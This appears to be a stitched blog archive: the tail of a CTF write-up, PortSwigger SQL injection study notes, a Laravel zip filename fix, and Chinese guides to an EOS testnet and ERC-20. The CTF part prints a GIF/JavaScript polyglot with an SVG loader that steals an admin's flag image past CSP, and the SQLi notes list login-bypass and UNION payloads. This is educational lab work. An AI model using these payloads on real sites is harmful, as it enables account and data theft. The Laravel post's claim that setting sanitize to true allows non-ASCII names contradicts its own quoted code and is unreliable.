After we can execute javascript code, we can get flag through above steps:

  1. Upload a malicious image(which can execute js code)
  2. Send 1.‘s link to admin
  3. Admin opens link, the code will do:
    1. Get uuid of image of flag
    2. Get image of flag as Blob
    3. Login another account
    4. Upload image of flag with 3.‘s account
  4. Login account that already has flag image

So, let’s start:

First, upload a gif with:(there are some magic header of GIF)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GIF89a/* # some GIF magic information, but cannot be shown here
fetch('/').then((r)=>r.text()).then((r)=>r.match('[a-z0-9\-]{36}')[0]).then((r)=>fetch('/image/'+r+'/download').then((r)=>r.blob()).then(function(r){
fetch('/login', {
method: 'POST',
hearders: {
'Content-Type': 'application/x-ww-form-urlencoded'
},
body: new URLSearchParams({
'username': 'asdasd',
'password': 'asdasd',
})
}).then(function(_){
let formData = new FormData();
formData.append('title', 'admin');
formData.append('file',new Blob([r], {type: 'image/jpeg'}), 'flag.jpg');
fetch('/upload', {
method: 'POST',
body: formData
})
})
}));

And upload a svg with(replace {PREV_GIF_UUID} with first GIF‘s uuid):

1
2
3
4
5
6
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400" />
<script href="/image/{PREV_GIF_UUID}/download"></script>
</svg>

to bypass CSP which is default-src 'self', because we include script from self :)

And send this svg’s view link to admin, then we can get image that admin uploaded to our account by heself!

Summary

This time is my first time to participated a ctf seriously XD. But I need to work so I only participated 2 days(of 3 days), but at least I studied almost all web questions. Although it’s really tired but I actually learned a lot from those questions. Like MSSQL injection, MongoDB regex, Redis RCE(although not success, but I knew there is a way now XD) It also makes me super excited about AIS3😍!

References

Port Swigger Web Security Academy Sql Injection 2 - UNION Attacks

Introduction

This article is the sequel of Port Swigger Web Security Academy, you can find previous article here.

And this time we will take a deep look about UNION attacks, let’s start.

When we could get responses of query, UNION can be used to retrieve more data from other tables. For example:

1
SELECT a, b FROM table1 UNION SELECT c, d FROM table2

And there are two requirements must be met:

  1. Two query must return the same number of columns.
  2. Two query must have compatible data types in each column.

Determining the number of columns

There are two methods to reach it:

  1. ORDER BY
  2. UNION SELECT NULL

ORDER BY

Because we can put column name or column order after ORDER BY, so we can try below SQL:

1
' ORDER BY 1--

If there is no error, we know the column number of the first query is at least 1. And we can try:

1
' ORDER BY 2--

Until we get some error such as:

1
The ORDER BY position number 3 is out of range of the number of items in the select list.

Than we know the number of first query is 2.

UNION SELECT NULL

Because we can directly SELECT value by UNION, we can try:

1
' UNION SELECT NULL--

But why NULL? Because we mentioned that Two query must have compatible data types in each column. before, and NULL is compatible with any type of data.

And if your number of NULL is not same with the first query’s column number, you will probably get some error like:

1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

So keep trying until there is no error!

Determining the type of columns

After we get the number, we can continue to determine the type of columns. Thus, we can use those columns to hold our interested data. For example:

1
' UNION SELECT 'a',NULL,NULL --

If you get error like:

1
Conversion failed when converting the varchar value 'a' to data type int.

Switch position of string to find out which column is string type. Or you can use integer or other type to instead it.

Retrieving multiple values

We can concatenate the values together to show multiple values in one column, for example in Oracle:

1
' UNION SELECT username || '~' || password FROM users--

References

Laravel Zipstream Filename Sanitization

Introduction

When I develop one of my cases, there is a requirement to generate a zip file. So I find a package laravel-zipstream to do it.

Problem

Everything is fine until my customer told me files should be placed in a specific path which contains chinese characters. (´;ω;`)

At begining, I just change the filename like:

1
2
$zip = Zip::create('user_data.zip');
$zip->add($content, "中文資料夾1/測試資料.pdf");

But when I download this zip, I get something like:

Where is my filename and folder name :(

Identify Problem

At begining, I thought it’s some encoding problem. But I tried to change encoding and still got the same result.

So I went to looked up the source code, and found:

https://github.com/stechstudio/laravel-zipstream/blob/master/src/Models/File.php

1
2
3
4
5
6
7
8
public function getZipPath(): string
{
$path = ltrim(preg_replace('|/{2,}|', '/', $this->zipPath), '/');

return config('zipstream.file.sanitize')
? Str::ascii($path)
: $path;
}

When config('zipstream.file.sanitize') is true, it will try to translate filename to ascii by Laravel’s Helper function Str::ascii()(more information in official doc.).

Solve

So I looked up the package’s config.php

1
2
3
4
5
6
7
8
// Default options for files added
'file' => [
'method' => env('ZIPSTREAM_FILE_METHOD', 'store'),

'deflate' => env('ZIPSTREAM_FILE_DEFLATE'),

'sanitize' => env('ZIPSTREAM_FILE_SANITIZE', true)
],

Thus, we can just add below line in our .env to use non-ascii characters in filename!

1
ZIPSTREAM_FILE_SANITIZE=true

Additional information

Because I don’t see any description in README about this feature, so I also open a PR in GitHub to add some description about it.

If you’re interested in it, you can find it here.

Reference

Port Swigger Web Security Academy Sql Injection

Introduction

This article is the note of PortSwigger Web Security Academy’s SQL Injection. I will take note of it and write some my opinion.

Examples

  • Retrieving hidden data
  • Subverting application logic
  • UNION attack: retrieve data from other databases or tables.
  • Examining the database
  • Blind SQL injection

Retrieving hidden data

For example, there is a URL:

1
https://insecure-website.com/products?category=Gifts

and SQL like:

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Thus, it can be injected by:

1
https://insecure-website.com/products?category=' OR 1=1 --

This will results in the SQL query, and show every products:

1
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1

Subverting application logic

It can bypass login or other business logic too.

In case of SQL query like:

1
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

We can login as administrator by input username administrator' -- and left password blank, results in the SQL query:

1
SELECT * FROM users WHERE username = 'administrator' --' AND password = ''

UNION attack

We can use UNION to get other table’s data, for example:

1
SELECT name, description FROM products WHERE category = '{input}'

and we input:

1
' UNION SELECT username, password FROM users --

result in query:

1
SELECT name, description FROM products WHERE category = '' UNION SELECT username, password FROM users --'

Then, we can get username and password from other table.

Examining the database

To explot the database, we need to identify which database is it.

Because every database have unique syntax, function, or variable…(there are some examples below), we can use some cheat table to determine it.

database-specific factors

  • Syntax for string concatenation
  • Comments
  • Batched or stacked queries
  • Platform-specific APIs
  • Error messages

After we know what kind of database is it, we can grab some informations about databases, tables, and columns.

For example, most database(MSSQL, MySQL, PostgreSQL…) have a database which store there information we need:

1
SELECT * FROM information_schema.tables

Blind SQL injection

When we can see the result of SQL query, we can use UNION to get the informations we need.

But if the application does not return any results, we can still exploit it by following methods:

  • Conditionally change the logic of the query to trigger a detectable difference. For example, trigger an error such as a divide-by-zero.
  • Conditionally make a time delay.
  • Trigger an out-of-band interaction sush as placing the data into a DNS lookup for a domain we control.

How to detect vulnerabilities

To every entry point in the application, we can try:

  • Submitting ' and looking for error or other abnormal response.
  • Submitting some SQL-specific syntax or conditions such as OR 1=1 to change result of the query, and looking for differences in responses.
  • For those cannot see response, submitting payload to trigger time delays and looking for differences in the time taken to respond.

Second-order SQL Injection

First, we need to talk about First-order SQL injection.

First-order means the application takes user’s input and use it to excute an SQL query.

So, Second-order(that is, stored SQL injection) means the application store user’s input to database(or somewhere else). Later, the application retrieves the stored data and excute an SQL query with it.

This will happen because developers are aware of SQL injection vulnerabilities, so safely handle the direct input from user. But they forgot that Second-order SQL query is also get input from user, so remember “DONT TRUST ANY USER INPUT” when you develop any application.

How to prevent

So after all, how do we prevent these vulnerabilites?

We can use parameterized query(also known as prepared statements) instead of directly concatenate strings together.

DONT USE:

1
$query = "SELECT * FROM products WHERE category = '"+ $input + "'";

USE:

1
2
3
$sql = "SELECT * FROM products WHERE category = :category";
$sth = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array(':category' => 'shoes'));

Summary

I think the most important lesson that SQLi bring us is “NEVER TRUST USER”.

As a developer, we need to make sure we know the meaning of every single line of code that we are writting. And trust no one.

References

EOS Jungle2.0 Testnet With Scatter Desktop

此篇旨在紀錄筆者透過 Scatter 桌面版使用 Jungle2.0 Testnet的過程及教學

Generate key

  1. 打開Scatter,並點選 Wallet > Generate Key

  2. 選擇 EOSIO

  3. 選擇 Key

  4. 此時 Scatter 即會幫你生成一個 Private Key,請自行保管好

  5. 按 Back 回到 Wallet的頁面 (步驟1.),並將紅色框框中的 Public Key 複製下來

Create an account

  1. 點此註冊一個帳號

  2. 輸入 Account name,並將剛才的 Public Key 貼上在下面兩個欄位

Get Free Tokens

  1. 點此並輸入剛才的帳號名稱,就可以獲得 1 Token

Add Jungle 2 Network in Scatter

  1. 回到 Scatter,並點選 Networks > Add Custom Network

    • Name 中輸入一個可辨識的名稱
    • Host 輸入 jungle2.cryptolions.io
    • Protocol 為 https
    • Port 為 443
    • Chain ID 為 e70aaab8997e1dfce58fbfac80cbbb8fecec7b99cf982a9444273cbc64c41473
      最後按下 Add 即可

Check Network Setting

  1. 最後回 Wallet 頁面,確認是否確實連上測試鏈。只要兩個紅框處分別呈現帳號名稱,及剛剛拿到的1個 Free Token,即為成功連結測試鏈。

ERC-20 Token Standard 簡介

ERC-20 與 ERC-721 比較

簡單來說,ERC20是「每個代幣都一樣」;而ERC721則是「每個代幣都有其獨特性」

Interface

1
2
3
4
5
6
7
8
9
10
11
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);

event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

總共有6個function以及2個event。其中constant的function是唯讀的,所以不會花費Gas。
Event只用於記錄,可以視為一般系統上的log功能。

1
2
3
string public constant name = "Token Name";
string public constant symbol = "SYM";
uint8 public constant decimals = 18; // 18 is the most common number of decimal places

另外還有三個需要設定的參數:name、symbol、decimals。name是Token的名字;symbol是Token的代稱(簡稱);decimals是Token小數最多可以到幾位數,正常為18,也就是和Ether一樣。

Function 說明

  1. totalSupply(),Token的發行總量。
  2. balanceOf(address),傳入地址的錢包的Token數量。
  3. allowance(address A, address B),A批准給B的Token量。
  4. transfer(address A, uint num),將數量為num的Token轉移給A。
  5. approve(address A, uint num),批准數量為num的Token轉移給A,需注意的是,這個function只是單純做「批准」這個動作,而沒有進行轉移。若需要轉移則要再呼叫transferFrom。
  6. transferFrom(address, address, uint),將數量為num的Token由A轉移給B。

注意事項

Solidity版本 >= 0.4.17

Ref.